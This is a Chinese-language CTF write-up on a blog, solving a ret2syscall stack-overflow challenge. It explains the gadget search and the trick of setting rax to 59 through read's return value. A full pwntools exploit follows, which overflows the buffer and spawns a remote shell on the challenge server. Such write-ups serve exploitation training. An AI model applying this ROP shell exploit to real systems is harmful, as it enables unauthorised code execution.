pwnpwnpwn


WP-Share-something-interesting

ret2syscall

前置知识

syscall由rax确定系统调用号,要getshell应该为execve(“/bin/sh”,NULL,NULL)。而寄存器传参的顺序依次为rdi,rsi,rdx,r10,r8,r9.然后返回的值存在rax中。我们要做的就是在程序弹出rdi,rsi,rdx,rax的时候触发栈溢出,将我们要的字符写到对应的位置。

解题

先看保护:NX enabled(开启数据执行保护),No PIE(程序加载基址固定为 0x400000),无 Canary。

把文件拖到ida里反编汇

第一次输入:read(0, buf, 0x60)。此处的 buf 距离返回地址的偏移(offset)为 40 字节,而最大读取长度为 0x60(96)字节。显然存在栈溢出漏洞,可以控制程序的执行流(RIP)。
第二次输入:read(0, 0x404080, 0x40)。向固定的 .bss 段地址 0x404080(假设为 str1)写入最多 64 字节的数据。

用ROPgadget 恰好就找到了一个完美的gadget

ROPgadget --binary ./vuln | egrep "syscall|pop rax|pop rdi|pop rsi|pop rdx|ret"

0x401197 : pop rdx ; pop rsi ; pop rdi ; syscall

这样就只缺rax了。

我们可以发现_read()的返回值就是储存在rax中,execve()的调用号为59,我们只要在第二次输入时让read读59个字节的数据就能让rax的返回值变成59.

栈空间 填入的数据 说明
[rsp - 40] b’A’ * 40 填充物,到达返回地址
[rsp] 0x401197 返回地址覆盖为 Magic Gadget
[rsp + 8] 0 弹入 rdx
[rsp + 16] 0 弹入 rsi
[rsp + 24] 0x404080 弹入 rdi (指向 .bss 段的 /bin/sh)

exp

from pwn import *

context.binary = './vuln'
context.arch = 'amd64'
context.log_level = 'info'

p = remote('forward.vidar.club',30643)

offset = 40
str1 = 0x404080
magic_gadget = 0x401197 

payload1  = b'A' * offset
payload1 += p64(magic_gadget)
payload1 += p64(0)           
payload1 += p64(0)
payload1 += p64(str1)         

p.recvuntil(b'>')
p.send(payload1)
payload2 = b'/bin/sh\x00' + b'B' * (59 - 8)

p.recvuntil(b'>')
p.send(payload2)

# Get Shell!
p.interactive()

Author: DODOR
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source DODOR !
  TOC